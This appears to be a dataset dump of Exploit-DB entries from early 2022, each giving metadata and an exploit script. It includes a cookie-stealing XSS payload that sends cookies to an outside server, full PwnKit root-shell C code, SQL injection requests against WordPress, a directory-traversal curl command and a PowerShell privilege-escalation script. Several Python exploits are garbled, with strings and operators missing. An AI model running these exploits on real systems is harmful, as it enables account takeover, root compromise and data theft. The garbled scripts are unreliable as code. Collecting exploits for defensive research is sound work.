QLWD/code_shield huggingface dataset:
标题: Chamilo LMS 1.11.14 - Account Takeover EDB-ID: 50694 CVE: 2021-37391 类型: WEBAPPS 平台: PHP 发布日期: 2022-02-02 漏洞利用脚本: # Exploit Title: Chamilo LMS 1.11.14 - Account Takeover
# Date: July 21 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://chamilo.org
# Software Link: https://chamilo.org
# Version:  Chamilo-lms-1.11.x
# Tested on:  Chamilo-lms-1.11.x
# CVE: CVE-2021-37391
#Publication:
https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities


Description:  A user without privileges in Chamilo LMS 1.11.x can send an
invitation message to another user, e.g., the administrator, through
main/social/search.php,
main/inc/lib/social.lib.php and steal cookies or execute arbitrary code on
the administration side via a stored XSS vulnerability via social network
the send invitation feature.  .
CVE ID: CVE-2021-37391
CVSS:  Medium - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N
URL:
https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chamilo-lms-1.11.14-xss-vulnerabilities

Affected parameter: send private message - text field
Payload:  <img src=x onerror=this.src='
http://yourserver/?c='+document.cookie>


Steps to reproduce:
  1. Navigate to the social network menu
  2. Select the victim profile
  3. Add the payload on the text field
  4. Submit the request and wait for the payload execution

*Impact:* By using this vulnerability, an unprivileged user can steal
cookies from an admin account or force the administrator to create an
account with admin privileges with an HTTP 302 redirect.
*Mitigation*: Update the Chamilo to the latest version.
*Fix*:
https://github.com/chamilo/chamilo-lms/commit/de43a77049771cce08ea7234c5c1510b5af65bc8




Com os meus melhores cumprimentos,
--
*Pedro Tavares*
Founder and Editor-in-Chief at seguranca-informatica.pt
Co-founder of CSIRT.UBI
Creator of 0xSI_f33d <https://feed.seguranca-informatica.pt/>



seguranca-informatica.pt | @sirpedrotavares
<https://twitter.com/sirpedrotavares> | 0xSI_f33d
<https://feed.seguranca-informatica.pt/> URL: https://www.exploit-db.com/exploits/50694
标题: PolicyKit-1 0.105-31 - Privilege Escalation EDB-ID: 50689 CVE: 2021-4034 类型: LOCAL 平台: LINUX 发布日期: 2022-01-27 漏洞利用脚本: # Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`

##### Makefile #####

all:
 gcc -shared -o evil.so -fPIC evil-so.c
 gcc exploit.c -o exploit

clean:
 rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

#################

##### evil-so.c #####

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}

#################

##### exploit.c #####

#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

################# URL: https://www.exploit-db.com/exploits/50689
标题: Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion EDB-ID: 50688 CVE: 2022-21371 类型: REMOTE 平台: WINDOWS 发布日期: 2022-01-27 漏洞利用脚本: # Exploit Title: Oracle WebLogic Server 14.1.1.0.0 - Local File Inclusion
# Date: 25/1/2022
# Exploit Author: Jonah Tan (@picar0jsu)
# Vendor Homepage: https://www.oracle.com
# Software Link:
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
# Tested on: Windows Server 2019
# CVE : CVE-2022-21371

# Description
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion
Middleware (component: Web Container).
Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
and 14.1.1.0.0.
Easily exploitable vulnerability allows unauthenticated attacker with
network access via HTTP to compromise Oracle WebLogic Server.
Successful attacks of this vulnerability can result in unauthorized access
to critical data or complete access to all Oracle WebLogic Server
accessible data.

# PoC
GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml URL: https://www.exploit-db.com/exploits/50688
标题: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated) EDB-ID: 50687 CVE: 2021-24946 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-27 漏洞利用脚本: # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)
# Date 26.01.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip
# Version: <= 6.1
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24946
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md

'''
Description:
The Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter
before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,
leading to an unauthenticated SQL injection issue
'''


banner  

banner

 requests
 argparse
 datetime  datetime
 os


my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH



  datetimenowstrftime

exploitcode_url  r  target_ip    target_port  wp_path  r
exploitcode_risk  











retrieve_mode  
exploitcode  exploitcode_url   retrieve_mode  exploitcode_risk
ossystemexploitcode
  datetimenowstrftime URL: https://www.exploit-db.com/exploits/50687
标题: WordPress Plugin RegistrationMagic V 5.0.1.5 - SQL Injection (Authenticated) EDB-ID: 50686 CVE: 2021-24862 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-27 漏洞利用脚本: # Exploit Title: WordPress Plugin RegistrationMagic V 5.0.1.5 - SQL Injection (Authenticated)
# Date 23.01.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://registrationmagic.com/
# Software Link: https://downloads.wordpress.org/plugin/custom-registration-form-builder-with-submission-manager.5.0.1.5.zip
# Version: <= 5.0.1.5
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24862
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24862/README.md

'''
Description:
The RegistrationMagic WordPress plugin before 5.0.1.6 does not escape user input in its rm_chronos_ajax AJAX action
before using it in a SQL statement when duplicating tasks in batches, which could lead to a SQL injection issue.
'''


 os

banner  
banner
 string
 argparse
 requests
 datetime  datetime
 random
 json
 subprocess


my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD


  datetimenowstrftime


session  requestsSession
auth_url    target_ip    target_port  wp_path  
check  sessiongetauth_url

header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     username
     password
     
     

auth  sessionpostauth_url headersheader databody


dupl_url    target_ip    target_port  wp_path  


header  
     
     
     
     
       target_ip    target_port  
     
       target_ip
     
     
     
     
     
     



body  
     
     
       joinrandomchoicestringascii_letters  x  
     
     
     
     
     
     
     
     
     
     



a  sessionpostdupl_url headersheader databody



exploit_url    target_ip    target_port  wp_path  


 
cookies_session  sessioncookiesget_dict
cookie  jsondumpscookies_session
cookie  cookiereplace
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
cookie  cookiereplace 
exploitcode_url    target_ip    target_port  wp_path  
exploitcode_risk  
exploitcode_cookie    cookie  











retrieve_mode  
exploitcode  exploitcode_url  exploitcode_risk  exploitcode_cookie    retrieve_mode  
ossystemexploitcode
  datetimenowstrftime URL: https://www.exploit-db.com/exploits/50686
标题: WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 50685 CVE: 2021-24904 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-27 漏洞利用脚本: # Exploit Title: WordPress Plugin Mortgage Calculators WP 1.52 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 25-10-2021
# Exploit Author: Ceylan Bozogullarindan
# Vendor Homepage: https://lenderd.com/
# Software Link: https://mortgagecalculatorsplugin.com/
# Version: 1.52
# Tested on: Linux
# CVE : CVE-2021-24904 (https://wpscan.com/vulnerability/7b80f89b-e724-41c5-aa03-21d1eef50f21)


# Description:
The plugin gives users real-time estimates by providing mortgage calculators. It does not implement any sanitisation on the color value of the background of a calculator in admin panel, which could lead to authenticated Stored Cross-Site Scripting issues. An attacker can execute malicious javascript codes for all visitors of a page containing the calculator.


# Steps To Reproduce:
1. Go to settings page available under the "Calculator" menu item.
2. Click the "Select Color" button and type the following payload the input space: `hacked</style></head><script>alert(1)</script>`
3. Click the "Save Changes" button to save settings.
4. Create a new page and add the shortcode ([mcwp type="cv"]) of the calculator, for testing.
5. Visit the page to trigger XSS. URL: https://www.exploit-db.com/exploits/50685
标题: PHPIPAM 1.4.4 - SQLi (Authenticated) EDB-ID: 50684 CVE: 2022-23046 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-25 漏洞利用脚本: # Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)
# Google Dork: [if applicable]
# Date: 20/01/2022
# Exploit Author: Rodolfo "Inc0gbyt3" Tavares
# Vendor Homepage: https://github.com/phpipam/phpipam
# Software Link: https://github.com/phpipam/phpipam
# Version: 1.4.4
# Tested on: Linux/Windows
# CVE : CVE-2022-23046

import requests
import sys
import argparse

################



__author__  

menu  argparseArgumentParserdescription
menuadd_argument   
menuadd_argument   
menuadd_argument   
args  menuparse_args

 sysargv  
    menuprint_help

target  argsurl
user  argsuser
password  argspassword


 
    u  f

    
        r  requestspostu verify timeout headers   datauser password
        headers  rheaders
        headers_string  headerssplit
         s  headers_string
               s    s 
                cookie  sstriplstrip
                 cookie
     Exception  e
        f


 
    cookie  get_token
    xpl  f
    data  
         
        
    

    headers  
          
         cookie
    

    
        r  requestspostxpl verify timeout headersheaders datadata
           rtext    rtext
            
            f
            
     Exception  e
        f



 __name__  
    exploit_sqli URL: https://www.exploit-db.com/exploits/50684
标题: WordPress Core 5.8.2 - 'WP_Query' SQL Injection EDB-ID: 50663 CVE: 2022-21661 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-13 漏洞利用脚本: # Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
# Date: 11/01/2022
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/download/releases
# Version: < 5.8.3
# Tested on: Windows 10
# CVE : CVE-2022-21661

# [ VULNERABILITY DETAILS ] : 

#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.

# [ References ] : 

https://wordpress.org/news/category/releases
https://www.zerodayinitiative.com/advisories/ZDI-22-020
https://hackerone.com/reports/1378209

# [ Sample Request ] :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close 
Content-Type: application/x-www-form-urlencoded

action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}} URL: https://www.exploit-db.com/exploits/50663
标题: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated) EDB-ID: 50655 CVE: 2021-24563 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-12 漏洞利用脚本: # Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/
# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/
# Version: 1.3.2
# Tested on: Windows 10 - Chrome, WordPress 5.8.2
# CVE :  CVE-2021-24563

# References:

https://www.youtube.com/watch?v=lfrLoHl4-Zs
https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1

# Description:

The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly


# Proof Of Concept:


POST /wp-admin/admin-ajax.php HTTP/1.1

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=---------------------------124662954015823207281179831654

Content-Length: 1396

Connection: close

Upgrade-Insecure-Requests: 1


-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_ID"


1247

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_title"


test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_content"


test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="files[]"; filename="xss.html"

Content-Type: text/html


<script>alert(/XSS/)</script>

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="action"


upload_ugc

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_layout"


image

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="fu_nonce"


021fb612f9

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="_wp_http_referer"


/wordpress/frontend-uploader-form/

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="ff"


92b6cbfa6120e13ff1654e28cef2a271

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_post_id"


1247

-----------------------------124662954015823207281179831654--



Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html URL: https://www.exploit-db.com/exploits/50655
标题: CoreFTP Server build 725 - Directory Traversal (Authenticated) EDB-ID: 50652 CVE: 2022-22836 类型: REMOTE 平台: WINDOWS 发布日期: 2022-01-10 漏洞利用脚本: # Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops URL: https://www.exploit-db.com/exploits/50652
标题: VUPlayer 2.49 - '.wax' Local Buffer Overflow (DEP Bypass) EDB-ID: 50650 CVE: 2009-0182 类型: LOCAL 平台: WINDOWS 发布日期: 2022-01-10 漏洞利用脚本: # Exploit Title: VUPlayer 2.49 - '.wax' Local Buffer Overflow (DEP Bypass)
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: http://www.vuplayer.com/
# Software Link: [Null]
# Version: VUPlayer 2.49
# Tested on: Windows 7 x64
# CVE : CVE-2009-0182

# VUPlayer 2.49 Local Buffer Overflow to Arbitrary Code Execution (Importing .wax playlist file) (Bypass DEP protection)

import struct




buf   b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
buf  b
  
junk  











 

    rop_gadgets  
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
    
     joinstructpack _  _  rop_gadgets

rop_chain  create_rop_chain


nop  

payload  junk  rop_chain  nop  buf

f   
fwritepayload
fclose URL: https://www.exploit-db.com/exploits/50650
标题: Open-AudIT Community 4.2.0 - Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 50651 CVE: 2021-44916 类型: WEBAPPS 平台: PHP 发布日期: 2022-01-10 漏洞利用脚本: # Exploit Title: Open-AudIT Community 4.2.0 - Cross-Site Scripting (XSS) (Authenticated)
# Date: 01/11/2021
# Exploit Author: Dominic Clark (parzival)
# Vendor Homepage: https://opmantek.com/
# Software Link: https://www.open-audit.org/downloads.php
# Category: WebApps
# Version: <= 4.2.0
# Tested on: Windows 10
# CVE: CVE-2021-44916

# 1. Vendor Description
# Open-AudIT is an application to tell you exactly what is on your network, how it is configured and when it changes.
# Essentially, Open-AudIT is a database of information, that can be queried via a web interface.
# Open-AudIT will run on both Windows and Linux systems. 

# 2. Technical Description
# There is an issue with link creation in the GUI with Open-AudIT Community.
# If a bad value is passed to the routine via a URL, javascript code can be executed.
# This requires the user be logged in to Open-AudIT Community to trigger.

# 3. Proof of Concept
# Step 1: Login to Open-AudIT via the login page (default credentials are admin/password)
# Step 2: Enter one of the following PoC URLs, this issue was observed to occur any time there is a file available to be imported: (e.g., http://localhost/open-audit/index.php/attributes/import)

Vulnerable URL 1: "http://localhost/open-audit/index.php/discoveries/import%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22"
Vulnerable URL 2: "http://localhost/open-audit/index.php/credentials/import%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22"

# Step 3: Observe that the payload successfully executes and a popup is displayed. 
# This vulnerability can be exploited in conjuction with a social engineering attack to potentially obtain sensitive information such a users session cookie.

# 4. Remediation
# Apply the recommended workarounds and mitigations provided by Opmantek.
# https://community.opmantek.com/display/OA/Errata+-+4.2.0+and+earlier+Javascript+vulnerability URL: https://www.exploit-db.com/exploits/50651
标题: Automox Agent 32 - Local Privilege Escalation EDB-ID: 50642 CVE: 2021-43326 类型: LOCAL 平台: WINDOWS 发布日期: 2022-01-05 漏洞利用脚本: # Exploit Title: Automox Agent 32 - Local Privilege Escalation
# Date: 13/12/2021
# Exploit Author: Greg Foss
# Writeup: https://www.lacework.com/blog/cve-2021-43326/
# Vendor Homepage: https://www.automox.com/
# Software Link: https://support.automox.com/help/agents
# Version: 31, 32, 33
# Tested on: Windows 10
# Language: PowerShell
# CVE: CVE-2021-43326

New-Item -ItemType Directory -Force -Path $HOME\Desktop\automox\
$payload = "whoami >> $HOME\Desktop\automox\who.txt"
echo ""
echo "Watching for Automox agent interaction..."
echo ""
for (($i = 0); $i -lt 500; $i++) {
    if (Test-Path -Path \ProgramData\amagent\execDir*\*.ps1) {
        try {
            $dir = Get-ChildItem \ProgramData\amagent\execDir* | Select-Object Name
            $dir = $dir.name
            $file = Get-ChildItem \ProgramData\amagent\$dir\*.ps1 | Select-Object Name
            $file = $file.name
            (Get-Content -Path \ProgramData\amagent\$dir\$file -Raw) -replace "#endregion", "$payload" | Set-Content -Path \ProgramData\amagent\$dir\$file
            cp -r \ProgramData\amagent\$dir $HOME\Desktop\automox\
            echo 'popped :-)'
            Start-Sleep 5
            echo ''
            echo 'cloning all powershell script content...'
            for (($i = 0); $i -lt 100; $i++) {
                cp -r \ProgramData\amagent\* $HOME\Desktop\automox\ -Force
                Start-Sleep 1
            }
            exit
        } catch {
            throw $_.Exception.Message
        }
    } else {
        echo $i
        Start-Sleep 1
    }
} URL: https://www.exploit-db.com/exploits/50642